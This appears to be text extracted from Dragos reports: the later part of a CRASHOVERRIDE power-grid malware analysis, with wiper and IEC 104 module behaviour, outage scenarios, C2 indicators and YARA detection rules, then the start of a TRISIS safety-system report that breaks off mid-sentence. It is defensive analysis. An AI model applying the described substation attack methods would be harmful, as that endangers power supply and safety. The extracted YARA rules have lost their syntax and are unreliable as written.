Specify a user (log in as user) and stop a service Specify a user (log in as user) and start a service Alter an existing service to point to specified process and change to start at boot Execution results in several artifacts left on the host. During execution, the malware checks for the presence of a mutex value. Mutexes are program objects that name resources to enable sharing with multiple program threads. In this case, CRASHOVERRIDE checks the following: \Sessions\1\Windows\ApiPortection C R A S H OV E R R I D E : Threat to the Electic Grid Operations The backdoor may also create and check a blank mutex name. Reviewing memory during execution and analysis of other modules in the malware indicates that \ Sessions\1\Windows\ appears multiple times, indicating that a check may be performed. The backdoor writes a file to either C:\Users\Public\ or C:\Users\ The contents of this file were not discovered during our analysis, and it did not appear to be vital to the malware functionality. However, this is a good indicator of the observed activity and may be leveraged to detect this specific sample through host-based indicator checking. The service manipulation process is the only persistence mechanism for the malware. When used, the adversary can select an arbitrary system service, direct it to refer to CRASHOVERRIDE, and ensure it is loaded on system boot. If this fails, the malware, although present on disk, will not start when the machine reboots. When evaluating the options provided to the adversary, an important piece of functionality associated with most remote access tools is absent: a command to exfiltrate data. While this functionality could be created via the command execution options, one would expect this option to be explicit given options to download and copy files on the host if the adversary intended to use the tool as an all-encompassing backdoor and espionage framework. Instead, the functionality of this tool is explicitly designed for facilitating access to the machine and executing commands on the system and cannot reasonably be confused as an espionage platform, data stealer, or another such item. Launcher Module Key Features Loads payload modules which manipulate the ICS and cause destruction via the wiper Starts itself as a service likely to hide better Loads the payload module(s) defined on the command line during execution Launches the payload and begins either 1 or 2 hours countdown before launching the data wiper (variant dependent) C R A S H OV E R R I D E : Threat to the Electic Grid Operations Details Within the attack sequence, the ICS payload modules and data wiper module must be loaded by a separate loader EXE. Dragos obtained one sample of this file called the Launcher. The launcher takes three parameters on start: Launcher.exe payload.dll configuration.ini On launch, the sample analyzed starts a service named defragsvc. It then loads the module DLL via an exported function named Crash. A new thread is created at the highest priority on the executing machine. Control then passes from the launcher to the loaded module while the launcher waits two hours before executing the data wiper. Data Wiper Module Key Features Clears all registry keys associated with system services Overwrites all ICS configuration files across the hard drives and all mapped network drives specifically targeting ABB PCM600 configuration files in this sample Overwrites generic Windows files Renders the system unusable Details Once executed, the data wiper module clears registry keys, erase files, and kill processes running on the system. A unique characteristic of the wiper is that the main functionality was implemented within the Crash function. The first task of the wiper writes zeros into all of the registry keys in: SYSTEM\CurrentControlSet\Services This registry tree contains initialization values for each service on the system. Removal of these values renders a system inoperable. The next wiper task targets ICS configuration files across the local hard drive and mapped network drives. The malware authors included functionality to target drives lettered C-Z. C R A S H OV E R R I D E : Threat to the Electic Grid Operations The wiper also targets file types unique to ABB s PCM600 product used in substation automation in addition to more general Windows files. The below table outlines some of the unique file extensions used by industrial control systems. File Extension .pcmp .pcmi .pcmt .CIN .paf .SCL .cid .scd Usage PCM600 Project (ABB) PCM600 IEC File (ABB) PCM600 Template IED File ABB MicroScada Programmable Logic File PLC Archive File Substation Configuration Language Configured IED Description Substation Configuration Description Table 1. File extensions targeted by the data wiper module IEC 104 Module Key Features Reads a configuration file defining the target (likely an RTU) and action to take Kills legitimate the master process on the victim host Masquerades as the new master Enters one of four modes: Sequence mode: continuously sets RTU IOAs to open Range mode: (1) Interrogates each RTU for valid IOAs; (2) toggles each IOA between open and closed state Shift mode: unknown at this time Persist mode: unknown at this time/not fully implemented C R A S H OV E R R I D E : Threat to the Electic Grid Operations Figure 3. Protocol Transmission Types in IEC 104 C R A S H OV E R R I D E : Threat to the Electic Grid Operations Figure 4: Execution Flow of IEC 104 Module in CRASHOVERRIDE Details The CRASHOVERRIDE IEC 104 module is a complete implementation of IEC 104 to serve in a MASTER role. This raw functionality creates a Swiss army knife for substation automation manipulation yet also provides tailored functionality. The functions exposed to the malware operator are confined by the options of the configuration file. This report outlines the options analyzed today but notes that extending and enhancing functionality is straight forward with the robust protocol implementation. C R A S H OV E R R I D E : Threat to the Electic Grid Operations The design of the IEC 104 module differs from the wiper and suggests that a secondary group of developers could have been involved. Instead of the exported crash function containing the primary execution instructions, the function parses the config file then starts a thread containing the IEC 104 master. The configuration file can have multiple entries offset by [STATION], followed by 13 values: File Extension target_ip target_port logfile adsu stop_comm_service change first_action silence uselog stop_comm_service_name timeout socket_timeout range Usage NONE NONE NONE NONE 1 second 15 seconds NONE Table 2. IEC-104 module configuration file fields The configuration file is critical to achieving an effect on the target, as target specifications for the device must be provided by the operator in the configuration file for the module to function. There are no observed automated means of enumerating the network and then impacting RTUs. Each [STATION]entry spawns a thread for follow-on effects against ICS equipment. Once the IEC 104 master thread begins, the first action is to try to kill the communications service process which acts as the master process. Once the module stops the communications service process, a socket opens with the target IP and destination port sending data to slave devices and receiving the resulting responses. C R A S H OV E R R I D E : Threat to the Electic Grid Operations Depending on the mode defined within the configuration file the module may: Set specific values Enumerate IOAs on the target devices Continuously set the IOA to open, or Continuously toggle the IOA between open and closed states. This module contains no interactive capability. RTUs and PLCs, in simplistic terms, act on input and output. Each discrete input and output is tied to a memory address. Depending on implementation these addresses are referred to as coils, registers, or for IEC 104: information object addresses (IOAs). IOAs are typed and can hold different value types, such as Boolean or Unsigned Integer values. The 104 module properly understands how to enumerate and discover IOAs to operate breakers. IEC 101 Module This module was unavailable to Dragos at the time of publication. ESET s analysis claims the functionality is equivalent to the IEC 104 module except with communications over serial. However, Dragos was able to confirm that the module exists. IEC 61850 Module This module was unavailable to Dragos at the time of publication. ESET s analysis claims once executed the module leverages a configuration file to identify targets and without a configuration file it enumerates the local network to identify potential targets. It communicates with the targets to identify whether the device controls a circuit breaker switch. For certain variables (no further information available) it will change their state while also generating an action log. However, Dragos was able to confirm that this module does exist. OPC DA Module This module was unavailable to Dragos at the time of publication. ESET s analysis claims the module does not require a configuration. It enumerates all OPC servers and their associated items looking for a subset related to ABB containing the string ctl. It then writes 0x01 twice into the item overwriting the proper value giving the device a primary value out of limits device status. However, Dragos was able to confirm that this module exists. C R A S H OV E R R I D E : Threat to the Electic Grid Operations SIPROTEC DoS Module This module was unavailable to Dragos at the time of publication. ESET s analysis claims the module sends UDP packets to port 50000 exploiting CVE-2015-5374 causing the SIPROTEC digital relay to fall into an unresponsive state. Dragos could not validate that this module exists. Capability Conclusions ELECTRUM s ability to adopt a development style described above has several implications: first, developers can integrate new protocols into the overall framework quickly. Second, ELECTRUM could easily leverage external development teams skilled at exploiting industrial control systems. Some adversaries would likely approach capability development through a two-tier approach: a core development team skilled at writing the overall framework and a second team knowledgeable about a given control system. The platform team would take the control system modules and add logic to fit them within the platform. The IEC 104 module demonstrates this approach. Given the execution described with secondary threads the team authoring the Crash function likely did not author the IEC 104 master portion of the code. Both development teams probably worked together to decide on a log file format for consumption by the main Crash function and executed in each of the IEC 104 module threads. Implications of capability This section describes legitimate CRASHOVERRIDE attack and impact scenarios. Extensions of these and potential hypothetical scenarios were deemed indeterministic and will not be addressed. Attack Option: De-energize substation CRASHOVERRIDE, based on prior knowledge, must have a configuration file for targeting information of one or multiple RTUs. This configuration option allows for several types of activities. One operation the configuration option allows is sequence. C R A S H OV E R R I D E : Threat to the Electic Grid Operations The command sequence polls the target device for the appropriate addresses. Once it is at the subset of known addresses, it can then toggle the value. The command then begins an infinite loop and continues to set addresses to this value effectively opening closed breakers. If a system operator tries to issue a close command on their HMI the sequence loop will continue to re-open the breaker. This loop maintaining open breakers will effectively de-energize the substation line(s) preventing system operators from managing the breakers and re-energize the line(s). The effects of de-energizing a line or substation largely depends on the system dynamics, power flows, and other variables. In some circumstances, it may have no immediate impact while in others it could put customers into an outage. It is important to note that grid operations encompass failure modes and operations can normally compensate. That is, after all, why humans are in the loop to monitor and maintain the system. From a recovery standpoint, the remote staff will effectively have lost control of the breakers and will be required to send crews to the substation. If the CRASHOVERRIDE loop continues unabated, then the crews will likely sever communications as both a troubleshooting and recovery action. Severing communications puts the substation in manual operation where a physical presence is now required. This could result in a few hours of outages Attack Option: Force an Islanding event Dragos is currently investigating a separate and more disruptive attack option in CRASHOVERRIDE as described by ESET. As before, the attacker must have a configuration file for targeting information of one or multiple RTUs. This configuration file now uses the range command to begin a loop that toggles the status of the breaker between open and close continuously. The changing breaker status will invoke automated protective operations to isolate (commonly referred to as islanding the substation. This is an intentional self-protective capability of grid operations. In effect, this breaker strobing takes the substation offline due to the protective relay scheme s automated operations causing perturbations of some degree on the grid as scientific principles define how the behavior interacts with frequencies and phases. The variables of these effects will dictate impacts but could cause system instabilities depending on the effectiveness of the protection relays and their operations. Grid operation contingencies become more critical if multiple substations were under attack likely resulting in many small islanding events. This is assuming coordinated targeting of multiple electric sites and could result in a few days of outages. C R A S H OV E R R I D E : Threat to the Electic Grid Operations Adding Amplification Attacks Forcing an islanding of a substation through continual breaker manipulation is significant by itself. However, CRASHOVERRIDE has the potential to amplify this attack even more. Two separate CRASHOVERRIDE modules offer this opportunity. Using OPC to create a Denial of Visibility The OPC module ESET analysis suggests it can brute force values. Module OPC. exe will send out a 0x01 status which for the target systems equates to a Primary Variable Out of Limits misdirecting operators from understanding protective relay status. Bit Mask 0x10 0x08 0x04 0x02 0x01 Definition More Status Available More status information is available via Command 48, Read Additional Status Information. Loop Current Fixed The Loop Current is being held at a fixed value and is not responding to process variations. Loop Current Saturated The Loop Current has reached its upper (or lower) endpoint limit and cannot increase (or decrease) any further. Non-Primary Variable Out of Limits A Device variable not mapped to the PV is beyond its operating limits. Primary Variable Out of Limits The PV is beyond its operating limits. The outcome of the action infers that various systems can either perform actions on wrong information or report incorrect information to system operators. This Denial of Visibility will amplify misunderstanding and confusion while system operators troubleshoot the problem as their system view will show breakers closed when they are open. C R A S H OV E R R I D E : Threat to the Electic Grid Operations Using CVE-2015-5374 to Hamper Protective Relays A second, and more severe, amplifying attack would be to neutralize the automated protective system by creating a Denial of Service against some or all of the protective relays. This possibility exists in a tool ESET has claimed to have discovered that implements the known CVE-2015-5374 Denial of Service condition to the Siemens SIPROTEC relays. Siemens released a patch for this in July 2015 under Siemens advisory SCA-732541. At this time it is believed that CVE-2015-5374 causes a denial of service (DoS) of the complete relay functionality and not just the network communications module. Dragos has independent evidence that this module exists but it cannot be confirmed. Hampering the protective scheme by disabling the protective relays can broaden the islanding event and, if done at scale, could trigger a larger event causing multiple substations and lines islanding from the electric grid. Siemens SIPROTEC was likely chosen in this attack only because that was the vendor device at the Ukraine Kiev site attacked in December 2016. This same tactic against digital relays, albeit not the same exploit, could have a similar impact on grid operations. However, there are many different types of digital relays each with different configurations. This amplifying attack would be very difficult to do at scale properly and would require a significant investment on behalf of the adversary. C R A S H OV E R R I D E : Threat to the Electic Grid Operations Defense Recommendations Doing the basics is always appropriate, and it significantly helps move ICS into a defensible position. However, they are not worth repeating here, and instead, more tailored approaches specific to ICS security analysts trying to defend against CRASHOVERRIDE and similar capabilities are presented below: Electric utility security teams should have a clear understanding of where and how IEC 104 and IEC 61850 protocols are used. North American electric utilities should include DNP3 on this list in case the malware is extended to impact U.S. systems. Look specifically for increased usage of the protocols against baselines established in the environment. Also, look for systems leveraging these protocols if they have not before and specifically try to identify systems that are generating new network flows using these protocols. Similarly, understand OPC implementations and identify how the protocol is being used. It is a protocol that is pervasive across numerous sectors. Also, CRASHOVERRIDE is the second, out of four, ICS tailored malware suite with OPC capabilities. OPC will appear abnormal in the CRASHOVERRIDE usage as it is being used to scan all devices on the network which would generate more traffic than usual. Robust backups of engineering files such as project logic, IED configuration files, and ICS application installers should be offline and tested. This will help reduce the impact of the wiper functionality. Prepare incident response plans for this attack and perform table top exercises bringing in appropriate stakeholders and personnel across engineering, operations, IT, and security. The scenario should include substation outages with the requirement to do manual operations while recovering the SCADA environment and gathering appropriate forensics. The included YARA rules and other indicators of compromise can be leveraged to search for possible infections (IOCs). The YARA rules will provide a higher confidence towards discovering an infection than the other IOCs and should be searched for against Windows OT systems especially noting HMIs. The behavioral analytics to identify the communications on the network would provide the highest capability to detect this and similar threats. C R A S H OV E R R I D E : Threat to the Electic Grid Operations While some defenses and architecture changes may have value in other situations, the following are responses that are not appropriate for this attack: Transmission and distribution companies should not rely on the usage of other protocols such as DNP3 as a protection mechanism. The completeness of the CRASHOVERRIDE framework suggests there may be other undisclosed modules such as a DNP3 module. Also, adding this functionality into the existing framework would not require extensive work on the part of the adversary. Air gapped networks, unidirectional firewalls, anti-virus in the ICS, and other passive defenses and architecture changes are not appropriate solutions for this attack. No amount of security control will protect against a determined human adversary. Human defenders are required C R A S H OV E R R I D E : Threat to the Electic Grid Operations Indicators TYPE SUBTYPE Description ICS Kill Chain Impact Host Mutex Value ApiPortection9d3 Mutex value checked Stage 2: Install Recon Host Mutex Value Mutex value created Stage 2: Install Recon Host File C:\Users\\ imapi File dropped and deleted after program exit Stage 2: Install Recon Host Service Name defragsvc Name given to service start Stage 2: C2 Remote Access Network IP Address 195.16.88.6 External C2 server [DEC 2016] (likely TOR node at time of attack) Stage 2: C2 Remote Access Network IP Address 93.115.27.57 External C2 server [DEC 2016] (likely TOR node at time of attack) Stage 2: C2 Remote Access Network IP Address 5.39.218.152 External C2 server [DEC 2016] (likely TOR node at time of attack) Stage 2: C2 Remote Access Network User Agent String Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1) Default user agent string used in C2 if unable to get system default user agent string Stage 2: C2 Remote Access Host Command Line :\.exe -ip= -ports= Command line arguments used to launch custom port scanner observed with malware. Command line logging required to track. Stage 2: Develop Recon Host Registry Key HKLM\SYSTEM\CurrentControlSet\Services\\ImagePath Change in Service Image Path in the system registry to point to malware allowing malware to restart on system reboot. Stage 2: Installation Persistence Host SHA1 File Hash F6C21F8189CED6AE150F9EF2E82A3A57843B587D Traffic to :3128, HTTP CONNECT to 5.39.218.152:443. Backdoor/RAT. Phase2: C2 Remote Access Host SHA1 File Hash CCCCE62996D578B984984426A024D9B250237533 Traffic to :3128, HTTP CONNECT to 5.39.218.152:443. Backdoor/RAT. Phase2: C2 Remote Access Host SHA1 File Hash 8E39ECA1E48240C01EE570631AE8F0C9A9637187 Backdoor/RAT Proxy + HTTP CONNECT to 93.115.27.57:443. Phase2: C2 Remote Access Host SHA1 File Hash 2CB8230281B86FA944D3043AE906016C8B5984D9 Backdoor/RAT Proxy + HTTP CONNECT to 195.16.88.6:443 Phase2: C2 Remote Access C R A S H OV E R R I D E : Threat to the Electic Grid Operations Host SHA1 File Hash 79CA89711CDAEDB16B0CCCCFDCFBD6AA7E57120A Launcher for payload DLL. Takes input as three command line parameters working directory, module, and config file. Stage 2: Attack Loss of Control Host SHA1 File Hash 94488F214B165512D2FC0438A581F5C9E3BD4D4C Module for 104 effect. Exports 'Crash' Stage 2: Attack which is invoked by launcher. Functionality requires config file. Loss of Control Host SHA1 File Hash 5A5FAFBC3FEC8D36FD57B075EBF34119BA3BFF04 Wiper module, wipes list of files by extension, removes system processes, and makes registry changes to prevent system boot. Stage 2: Attack Destruction Host SHA1 File Hash B92149F046F00BB69DE329B8457D32C24726EE00 Wiper module, wipes list of files by extension, removes system processes, and makes registry changes to prevent system boot. Stage 2: Attack Destruction Host SHA1 File Hash B335163E6EB854DF5E08E85026B2C3518891EDA8 Custom-built port scanner. Stage 2: Develop Recon Host SHA1 File Hash 7FAC2EDDF22FF692E1B4E7F99910E5DBB51295E6 OPC Data Access protocol enumeration of servers and addresses Stage 2: Attack Loss of Control Host SHA1 File Hash ECF6ADF20A7137A84A1B319CCAA97CB0809A8454 IEC-61850 enumeration and address manipulation Stage 2: Attack Loss of Control Host Filename opc.exe OPC Data Access protocol enumeration of servers and addresses Stage 2: Attack Loss of Control Host Filename 61850.exe IEC-61850 enumeration and address manipulation Stage 2: Attack Loss of Control Host Filename haslo.exe Wiper module, wipes list of files by extension, removes system processes, and makes registry changes to prevent system boot. Stage 2: Attack Destruction Host Filename 104.dll IEC-104 module Stage 2: Attack Loss of Control Host Filename haslo.dat Wiper module Stage 2: Attack Destruction OPC Server OPC Group Aabdul OPC DA Module Stage 2: Attack Loss of Visibility C R A S H OV E R R I D E : Threat to the Electic Grid Operations Yara Rules Also found at https://github.com/dragosinc/CRASHOVERRIDE import import hash rule dragos_crashoverride_exporting_dlls meta: description = CRASHOVERRIDE v1 Suspicious Export author = Dragos Inc condition: pe.exports( Crash ) & pe.characteristics rule dragos_crashoverride_suspcious meta: description = CRASHOVERRIDE v1 Wiper author = Dragos Inc strings: $s0 = SYS_BASCON.COM fullword nocase wide $s1 = .pcmp fullword nocase wide $s2 = .pcmi fullword nocase wide $s3 = .pcmt fullword nocase wide $s4 = .cin fullword nocase wide condition: pe.exports( Crash ) and any of ($s*) C R A S H OV E R R I D E : Threat to the Electic Grid Operations YARA Rules rule dragos_crashoverride_name_search { meta: description = CRASHOVERRIDE v1 Suspicious Strings and Export author = Dragos Inc strings: $s0 = 101.dll fullword nocase wide $s1 = Crash101.dll fullword nocase wide $s2 = 104.dll fullword nocase wide $s3 = Crash104.dll fullword nocase wide $s4 = 61850.dll fullword nocase wide $s5 = Crash61850.dll fullword nocase wide $s6 = OPCClientDemo.dll fullword nocase wide $s7 = fullword nocase wide $s8 = CrashOPCClientDemo.dll fullword nocase wide $s9 = D2MultiCommService.exe fullword nocase wide $s10 = CrashD2MultiCommService.exe fullword nocase wide $s11 = 61850.exe fullword nocase wide $s12 = OPC.exe fullword nocase wide $s13 = haslo.exe fullword nocase wide $s14 = haslo.dat fullword nocase wide condition: any of ($s*) and pe.exports( Crash C R A S H OV E R R I D E : Threat to the Electic Grid Operations YARA Rules rule dragos_crashoverride_hashes { meta: description = CRASHOVERRIDE Malware Hashes author = Dragos Inc condition: filesize < 1MB and hash.sha1(0, filesize) == f6c21f8189ced6ae150f9ef2e82a3a57843b587d hash.sha1(0, filesize) == cccce62996d578b984984426a024d9b250237533 hash.sha1(0, filesize) == 8e39eca1e48240c01ee570631ae8f0c9a9637187 hash.sha1(0, filesize) == 2cb8230281b86fa944d3043ae906016c8b5984d9 hash.sha1(0, filesize) == 79ca89711cdaedb16b0ccccfdcfbd6aa7e57120a hash.sha1(0, filesize) == 94488f214b165512d2fc0438a581f5c9e3bd4d4c hash.sha1(0, filesize) == 5a5fafbc3fec8d36fd57b075ebf34119ba3bff04 hash.sha1(0, filesize) == b92149f046f00bb69de329b8457d32c24726ee00 hash.sha1(0, filesize) == b335163e6eb854df5e08e85026b2c3518891eda8 C R A S H OV E R R I D E : Threat to the Electic Grid Operations YARA Rules rule dragos_crashoverride_moduleStrings { meta: description = IEC-104 Interaction Module Program Strings author = Dragos Inc strings: $s1 = IEC-104 client: ip=%s; port=%s; ASDU=%u nocase wide ascii $s2 = MSTR ->> SLV nocase wide ascii $s3 = MSTR <<- SLV nocase wide ascii $s4 = Unknown APDU format !!! nocase wide ascii $s5 = iec104.log nocase wide ascii condition: any of ($s*) rule dragos_crashoverride_configReader meta: description = CRASHOVERRIDE v1 Config File Parsing author = Dragos Inc strings: $s0 = { 68 e8 ?? ?? ?? 6a 00 e8 a3 ?? ?? ?? 8b f8 83 c4 ?8 } $s1 = { 8a 10 3a 11 75 ?? 84 d2 74 12 } $s2 = { 33 c0 eb ?? 1b c0 83 c8 ?? } $s3 = { 85 c0 75 ?? 8d 95 ?? ?? ?? ?? 8b cf ?? ?? } condition: all of them C R A S H OV E R R I D E : Threat to the Electic Grid Operations YARA Rules rule dragos_crashoverride_weirdMutex meta: description = Blank mutex creation assoicated with CRASHOVERRIDE author = Dragos Inc strings: $s1 = { 81 ec 08 02 00 00 57 33 ff 57 57 57 ff 15 ?? ?? 40 00 a3 ?? ?? ?? 00 85 c0 } $s2 = { 8d 85 ?? ?? ?? ff 50 57 57 6a 2e 57 ff 15 ?? ?? ?? 00 68 ?? ?? 40 00} condition: all of them rule dragos_crashoverride_serviceStomper meta: description = Identify service hollowing and persistence setting author = Dragos Inc strings: $s0 = { 33 c9 51 51 51 51 51 51 ?? ?? ?? } $s1 = { 6a ff 6a ff 6a ff 50 ff 15 24 ?? 40 00 ff ?? ?? ff 15 20 ?? 40 00 } condition: all of them C R A S H OV E R R I D E : Threat to the Electic Grid Operations YARA Rules rule dragos_crashoverride_wiperModuleRegistry meta: description = Registry Wiper functionality assoicated with CRASHOVERRIDE author = Dragos Inc strings: $s0 = { 8d 85 a0 ?? ?? ?? 46 50 8d 85 a0 ?? ?? ?? 68 68 0d ?? ?? 50 } $s1 = { 6a 02 68 78 0b ?? ?? 6a 02 50 68 b4 0d ?? ?? ff b5 98 ?? ?? ?? ff 15 04 ?? ?? ?? } $s2 = { 68 00 02 00 00 8d 85 a0 ?? ?? ?? 50 56 ff b5 9c ?? ?? ?? ff 15 00 ?? ?? ?? 85 c0 } condition: all of them rule dragos_crashoverride_wiperFileManipulation meta: description = File manipulation actions associated with CRASHOVERRIDE wiper author = Dragos Inc strings: $s0 = { 6a 00 68 80 00 00 00 6a 03 6a 00 6a 02 8b f9 68 00 00 00 40 57 ff 15 1c ?? ?? ?? 8b d8 } $s2 = { 6a 00 50 57 56 53 ff 15 4c ?? ?? ?? 56 } condition: all of them TRISIS Malware Analysis of Safety System Targeted Malware Dragos Inc. www.dragos.com version 1.20171213 Executive Summary TLP: WHITE information may be distributed without restriction In mid-November 2017, the Dragos, Inc. team discovered ICS-tailored malware deployed against at least one victim in the Middle East. The team identifies this malware as TRISIS because it targets Schneider Electric s Triconex safety instrumented system (SIS) enabling the replacement of logic in final control elements. TRISIS is highly targeted and likely does not pose an immediate threat to other Schneider Electric customers, let alone other SIS products. Importantly, the malware leverages no inherent vulnerability in Schneider Electric products. However, this capability, methodology, and tradecraft in this very specific event may now be replicated by other adversaries and thus represents an addition to industrial asset owner and operators threat models. Why Are We Publishing This? The Dragos team notified our ICS WorldView customers immediately after validating the malicious nature of the software. Following that notification, the team sent a notification to the U.S. Department of Homeland Security, Department of Energy, Electric Sector Information Sharing Analysis Center (E-ISAC), and partners. We broadcasted to our customers and partners that we would not be releasing a public report until the information became public through other channels. It is Dragos approach around industrial threats to never be the first to identify new threats publicly; infrastructure security is a highly sensitive matter and the more time the infrastructure community has to address new challenges without increased public attention is ideal. Dragos focus is on keeping customers informed and ideally keeping sensitive information out of the public where the narrative can be quickly lost and sensationalized. However, once information about threats or new capabilities are made public, it is Dragos approach to follow-up with public reports that capture the nuance to avoid hype while reinforcing lessons learned and advice to the industry. Key Take-Aways TLP: WHITE information may be distributed without restriction The malware targets Schneider Electric s Triconex safety instrumented system (SIS) thus the name choice of TRISIS for the malware. TRISIS has been deployed against at least one victim. The victim identified so far is in the Middle East, and currently, there is no intelligence to support that there are victims outside of the Middle East. The Triconex line of safety systems are leveraged in numerous industries - however, each SIS is unique and to understand process implications would require specific knowledge of the process. This means that this is not a highly scalable attack that could be easily deployed across numerous victims without significant additional work. The Triconex SIS Controller was configured with the physical keyswitch in program mode during operation. If the controller is placed in Run mode (program changes not permitted), arbitrary changes in logic are not possible substantially reducing the likelihood of manipulation. Although the attack is not highly scalable, the tradecraft displayed is now available as a blueprint to other adversaries looking to target SIS and represents an escalation in the type of attacks seen to date as it is specifically designed to target the safety function of the process. Compromising the security of an SIS does not necessarily compromise the safety of the system. Safety engineering is a highly specific skill set and adheres to numerous standards and approaches to ensure that a process has a specific safety level. As long as the SIS performs its safety function the compromising of its security does not represent a danger as long as it fails safe. It is not currently known what exactly the safety implications of TRISIS would be. Logic changes on the final control element implies that there could be risk to the safety as set points could be changed for when the safety system would or would not take control of the process in an unsafe condition SIS Background TLP: WHITE information may be distributed without restriction Safety systems are those control systems, often identified as Safety Instrumented Systems (SIS), maintaining safe conditions if other failures occur. It is not currently known what the specific safety implications of TRISIS would be in a production environment. However, alterations to logic on the final control element imply that there could be a risk to operational safety. Set points on the remainder of the process control system could be changed to conditions that would result in the process shifting to an unsafe condition. While TRISIS appears to be focused, ICS owners and operators should view this event as an expansion of ICS asset targeting to previously-untargeted SIS equipment. Although many aspects of TRISIS are unique for the environment and technology targeted, the general methodology provides an example for ICS defenders to utilize when future, subsequent SIS-targeted operations emerge. Safety controllers are designed to provide robust safety for critical processes. Typically, safety controllers are deployed to provide life-saving stopping logic. These may include mechanisms to stop rotating machinery when a dangerous condition is detected, or stop inflow or heating of gasses when a dangerous temperature, pressure, or other potentially life-threatening condition exists. Safety controllers operate independently of normal process control logic systems and are focused on detecting and preventing dangerous physical events. Safety controllers are most often connected to actuators which will make it impossible for normal process control systems to continue operating. This is by design since the normal process control system s continued operation would feed into the life-threatening situation that has been detected. Safety controllers are generally a type of programmable logic controller (PLC). They allow engineers to configure logic, typically in IEC-61131 logic. While on their face they are similar to PLCs, safety controllers have a higher standard of design, construction, and deployment. They are designed to be more accurate and less prone to failure. Both the hardware and the software for these controllers must be designed and built to the Safety Integrity Level (SIL) blanket of standards (IEC-61508). This includes the use of error correcting memories and redundant components and design that favors failing an operation safety over continuing operations. Each SIS is deployed for specific process requirements after a process hazard analysis (PHA) identifies the needs for a specific industrial environment. In this way, the systems are unique in their implementation even when the vendor technology remains the same. Safety controller components have more flexibility than a typical PLC. A safety controller s output cards will usually have a firmware, and a configuration, which allows the output card to fail into a safe state should the main processors fail entirely. This may even include failing outputs to a known-safe state in the event that the safety controller loses power. Many safety controllers offer redundancy, in the form of redundant processor modules. In the case of the Triconex system, the controller utilizes three separate processor modules. The modules all run the same logic, and each module is given a vote on the output of its logic function blocks on each cycle. If one of the modules offers a different set of outputs from the other two, that module is considered faulted and is automatically removed from service. This prevents a module that is experiencing an issue such as an internal transient or bit-flip from causing an improper safety decision. TLP: WHITE information may be distributed without restriction Safety controller architecture has been debated in the industry. Many end users opt to use the same control LAN for both systems. LOGIIC (Linking the Oil and Gas Industry to Improve Cybersecurity) has identified1 three distinct integration strategies of SIS with control systems networks. In the case of attacks such as TRISIS, these architectures can be reduced to two, as the security implications of two identified architectures remain the same. End users decide the level of risk that they are willing to accept with their safety system, and use this to determine how tightly they couple their safety system with their DCS (Distributed Control System). A tightly-coupled architecture, shown in figure 1, can provide cost savings, since data from an SIS controller may be incorporated into general operator HMI systems. In addition, network wiring and support is shared between the systems. Sensors data may also be shared, in both directions, between the normal process controllers and the SIS controllers. However, a downside to such an architecture is that attacker who gains access to the Control LAN systems may attack the SIS directly. Figure 1: Typical (Insecure) SIS integration DMZ LAN Historian/ Data Replication RDP Jump Box/ Remote Station Patch Management RDP Jump Box/ Remote Station Domain Controller L3 Process LAN Historian OPC Server DCS HMI/ DCS EWS/ Operator Terminal Engineering Station DCS EWS/ Remote Station DCS OPC/ Application Server SIS EWS/ Safety Eng Station L2 Process LAN DCS Controller SIS Controller Actuators & Sensors Actuators & Sensors Cyber Security Implications of SIS Integration with Control Networks https://www.automationfederation.org/filestore/af/logiic/LOGIIC%20SIS%20REPORT%20for%20ISA%20August%2025%20 2011%20mod%20jan%202013.pdf TLP: WHITE information may be distributed without restriction This architecture can be especially dangerous when combined with engineering remote access. A common practice at many sites is to allow access to the process control network to engineers via the Remote Desktop Protocol. The engineer will most frequently use their corporate workstation to access an RDP jump box inside of the process control DMZ. From there, the engineering may RDP to either the L3 or L2 process LAN. Compromise of this process, either through an infected corporate workstation or theft of the engineer credentials, can give an attacker access to the L2 engineering systems. In the case of a tightly integrated DCS and SIS, the attacker then has access to all services of the SIS, including the programming service. The attacker may also be able to gain access to the SIS Engineering Station and gain a better understanding of how the SIS is programmed. Figure 2: Architecture with application-layer Read-Only firewall between L2 and SIS LAN DMZ LAN Historian/ Data Replication RDP Jump Box/ Remote Station Patch Management RDP Jump Box/ Remote Station Domain Controller L3 Process LAN Historian OPC Server DCS HMI/ DCS EWS/ Operator Terminal Engineering Station DCS EWS/ Remote Station DCS OPC/ Application Server SIS EWS/ Safety Eng Station L2 Process LAN DCS Controller SIS Controller Actuators & Sensors Actuators & Sensors TLP: WHITE information may be distributed without restriction Alternate architectures have been suggested. Many security-conscious asset owners will instrument their SIS Controller with a read-only application-layer firewall as shown in figure 2. These firewalls typically support protocols such as Modbus/TCP or OPC and are specifically designed to prevent the assertion of safety outputs from the process LAN. These firewalls will also prevent access to the proprietary configuration services of the SIS, closing that avenue of attack. Placing both the SIS Engineering Workstation (EWS) and SIS Controllers on the secure side of this firewall will prevent easy access to the SIS programming protocols. In this architecture, an attacker who gains access to the L2 LAN will not be able to impact the safety system, unless the attacker also identifies a weakness in the firewall protecting the SIS from the rest of the L2 Process LAN. A downside of this architecture is that an engineer will need to physically access the SIS workstation to make changes to the safety programming. However, SIS programming changes should be much less frequent than normal DCS updates. Other methods use data diodes or completely separate safety networks which provide data to the DCS via a DC Controller add-on card. These mechanisms further increase security, although in the case of a completely separate safety network, prevent end users from using potentially valuable safety sensor data for ordinary process control. A potential attack on SIS can have multiple implications. Two that immediately come to mind and represent most-likely targets include the following scenarios: Attack Scenario #1: Plant Shutdown The most likely and operationally easy impact scenario from SIS manipulation or attack is a plant shutdown and not necessarily due to follow-on physical damage as the result of SIS alteration. There are two general methods of achieving an operational mission kill without physically impacting any element of the target environment: 1. Create operational uncertainty. By altering an SIS where some noticeable effect is produced, even if only recognizing a configuration change or tripping a safety fault where no corresponding physical condition is observed, doubt is introduced into operations as to safety system accuracy and reliability. While the problem is investigated and troubleshooting takes place, operations will likely be significantly reduced if not outright stopped. 2. Trip safety fail-safes to halt operations. Changing underlying logic to enter safety-preserving conditions during normal operations can trip SIS-managed equipment to enter fail-safe modes when such conditions are not actually present. This will lead to a likely halt or stop to the affected process, and likely bring about a much longer shutdown as this scenario rapidly transitions to the item outlined in no. 1 above due to extensive troubleshooting. Some level of general and plant-specific knowledge is required in order to execute this attack, but the level of knowledge is not as extensive as more fine-toothed, subtle changes to SIS configuration. Simply introducing any noticeable change in the system which may, through unintended follow-on effects, result in a much more serious issue results at least in case #1. A slightly more refined approach focusing on specific logic and devices managed can be used to create case #2. Alternatively, an adversary can attempt to leverage insecure authentication to pull existing configuration information from the SIS and simply reverse values to cause safety faults where none exist. TLP: WHITE information may be distributed without 